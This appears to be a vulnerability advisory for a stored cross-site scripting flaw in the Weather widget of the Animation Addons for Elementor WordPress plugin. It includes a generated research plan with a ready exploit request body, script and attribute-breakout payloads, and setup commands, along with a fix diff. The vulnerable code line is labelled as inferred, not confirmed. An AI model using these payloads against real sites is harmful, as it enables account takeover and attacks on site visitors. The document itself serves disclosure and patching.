WF-e2e755c7-7d1e-45f7-9d0b-2df1ef0bdd02-animation-addons-for-elementor

Animation Addons for Elementor <= 2.6.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Weather Widget

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.6.4
Patched in
0d
Time to patch

Description

The Animation Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'weather_style' and 'move_direction' parameters of the Weather widget in all versions up to, and including, 2.6.3. This is due to insufficient output escaping in the Weather widget's render() function at widgets/weather.php:1246, where both settings values are placed into an HTML class attribute without esc_attr(). Elementor does not server-side validate widget SELECT control values against allowed options on save, so an authenticated attacker with Contributor-level access or above can submit a crafted save_builder AJAX request storing arbitrary values in the _elementor_data post meta. The stored payload renders unescaped on every frontend visit to the affected page (the Weather widget requires an OpenWeatherMap API key to reach the vulnerable output, which is the normal operational state for sites using this widget).

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.6.3
PublishedMay 26, 2026
Last updatedMay 26, 2026

What Changed in the Fix

Changes introduced in v2.6.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: Stored XSS via Weather Widget in Animation Addons for Elementor ## 1. Vulnerability Summary The **Animation Addons for Elementor** plugin (up to 2.6.3) contains a Stored Cross-Site Scripting (XSS) vulnerability in its Weather widget. The parameters `weather_style` and `move_directi…

Show full research plan

Research Plan: Stored XSS via Weather Widget in Animation Addons for Elementor

1. Vulnerability Summary

The Animation Addons for Elementor plugin (up to 2.6.3) contains a Stored Cross-Site Scripting (XSS) vulnerability in its Weather widget. The parameters weather_style and move_direction are reflected in the HTML output within a class attribute without proper sanitization or escaping via esc_attr(). While these values are typically selected from a predefined list in the Elementor editor, an authenticated user with Contributor-level access can bypass client-side restrictions and submit arbitrary strings (including script tags or attribute breakouts) via a direct Elementor save_builder AJAX request.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: elementor_ajax (standard Elementor save mechanism)
  • Vulnerable Parameters: weather_style and move_direction within the settings object of the Weather widget in the _elementor_data payload.
  • Authentication: Authenticated, Contributor-level or higher (any role with edit_posts capability that can access the Elementor editor).
  • Precondition: The Weather widget must be rendered on the frontend. This requires an OpenWeatherMap API key to be configured in the plugin settings to reach the vulnerable code path in widgets/weather.php.

3. Code Flow

  1. Save Path:

    • A user edits a post/page using Elementor.
    • When saving, Elementor sends a POST request to admin-ajax.php with action=elementor_ajax.
    • The payload contains a JSON string in the actions parameter, specifically within the save_builder action.
    • The plugin stores the widget's settings (including weather_style and move_direction) into the _elementor_data post meta without validating that the "select" values match the allowed options.
  2. Render Path (Sink):

    • File: widgets/weather.php:1246 (inferred from description).
    • Function: render()
    • The code retrieves settings: $settings = $this->get_settings_for_display();
    • The values of $settings['weather_style'] and $settings['move_direction'] are echoed directly into an HTML class attribute:
      // Representative logic at widgets/weather.php:1246
      echo '<div class="aae-weather-container ' . $settings['weather_style'] . ' ' . $settings['move_direction'] . '">';
      
    • Since no esc_attr() is used, an attacker can break out of the class attribute or the div tag entirely.

4. Nonce Acquisition Strategy

To save Elementor data, a valid Elementor AJAX nonce is required.

  1. Post Creation: Use WP-CLI to create a page and enable Elementor for it.
  2. Access Editor: Use browser_navigate to go to the Elementor editor URL for that page: http://localhost:8080/wp-admin/post.php?post=POST_ID&action=elementor.
  3. Extract Nonce: Use browser_eval to extract the nonce from the Elementor configuration object:
    • Variable: window.elementorConfig.ajax.nonce
    • Secondary Variable (Plugin specific): window.WCF_Addons_Editor?._wpnonce (from class-plugin.php) although the standard Elementor nonce is usually sufficient for save_builder.

5. Exploitation Strategy

  1. Admin Setup:
    • Set a dummy or valid OpenWeatherMap API key in the plugin's settings (usually stored in options table).
  2. Contributor Login: Authenticate as a Contributor user.
  3. Capture Post Info: Find a post ID the Contributor can edit.
  4. Acquire Nonce: Follow the strategy in Section 4.
  5. Craft Payload:
    • We will inject into weather_style.
    • Payload: style-1" onmouseover="alert(document.domain)" data-x=" (Attribute Breakout)
    • OR: style-1"><script>alert(document.domain)</script> (Tag Breakout)
  6. Send Save Request:
    • Use http_request to send the elementor_ajax action.
    • Method: POST
    • Body (URL Encoded):
      action=elementor_ajax
      &_nonce=[ELEMENTOR_NONCE]
      &actions={"save_builder":{"action":"save_builder","data":{"status":"publish","elements":[{"id":"dummy-id","elType":"widget","widgetType":"wcf-weather","settings":{"weather_style":"style-1\"><script>alert(document.domain)</script>","move_direction":"left"},"elements":[]}]}}}
      &post_id=[POST_ID]
      
  7. Trigger XSS: Navigate to the published page URL on the frontend.

6. Test Data Setup

  • OpenWeatherMap API Key: Set via wp option update aae_weather_api_key "YOUR_KEY" (Verify the option name in the plugin settings source if possible; usually aae_weather_api_key or similar).
  • Target Page:
    wp post create --post_type=page --post_title="Weather Test" --post_status=publish --post_author=[CONTRIBUTOR_ID]
    
  • Contributor User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    

7. Expected Results

  • The save_builder request should return a 200 OK with a JSON response indicating success ({"success":true,...}).
  • When viewing the page source of the created post, the output should look like:
    <div class="aae-weather-container style-1"><script>alert(document.domain)</script> left">
  • The browser should execute the alert() when the page is loaded.

8. Verification Steps

  1. Database Check:
    wp post meta get [POST_ID] _elementor_data
    
    Check if the JSON contains the string <script>alert(document.domain)</script>.
  2. Frontend Check: Use http_request (GET) on the post URL and grep for the script tag.

9. Alternative Approaches

  • Move Direction Injection: If weather_style is sanitized elsewhere, attempt the same payload in move_direction.
  • Style Attribute Injection: If script tags are blocked by a WAF or filter, use an attribute-based payload: style-1" onfocus="alert(1)" autofocus=".
  • Editor-based XSS: Check if the payload also executes within the Elementor Editor itself for the Contributor, which could lead to privilege escalation if an Admin later edits the same page. In the editor, the localization key WCF_Addons_Editor._wpnonce might be relevant for other plugin-specific AJAX actions.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Animation Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the Weather widget's 'weather_style' and 'move_direction' parameters in versions up to 2.6.3. This occurs because the plugin fails to use esc_attr() when rendering these setting values into an HTML class attribute, allowing authenticated attackers with Contributor-level permissions to inject malicious scripts that execute in the context of site visitors.

Vulnerable Code

/* File: widgets/weather.php Line: 1246 (Inferred from description) */

$settings = $this->get_settings_for_display();

// ... 

echo '<div class="aae-weather-container ' . $settings['weather_style'] . ' ' . $settings['move_direction'] . '">';

Security Fix

--- widgets/weather.php
+++ widgets/weather.php
@@ -1243,4 +1243,4 @@
 
 $settings = $this->get_settings_for_display();
-echo '<div class="aae-weather-container ' . $settings['weather_style'] . ' ' . $settings['move_direction'] . '">';
+echo '<div class="aae-weather-container ' . esc_attr( $settings['weather_style'] ) . ' ' . esc_attr( $settings['move_direction'] ) . '">';

Exploit Outline

1. Authenticate as a Contributor-level user or higher. 2. Access a page editor to obtain a valid Elementor AJAX nonce from the window.elementorConfig.ajax.nonce JavaScript object. 3. Identify the post_id for a post the attacker has permission to edit. 4. Send an AJAX POST request to /wp-admin/admin-ajax.php with the action 'elementor_ajax' and sub-action 'save_builder'. 5. In the request payload, include a Weather widget ('wcf-weather') where the 'weather_style' or 'move_direction' settings contain an attribute-breaking payload like: style-1" onmouseover="alert(document.domain)" data-x=" 6. Ensure the site has an OpenWeatherMap API key configured (required for the Weather widget to render its output). 7. Navigate to the frontend page where the widget is displayed; the payload will execute when a user interacts with or views the container div.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.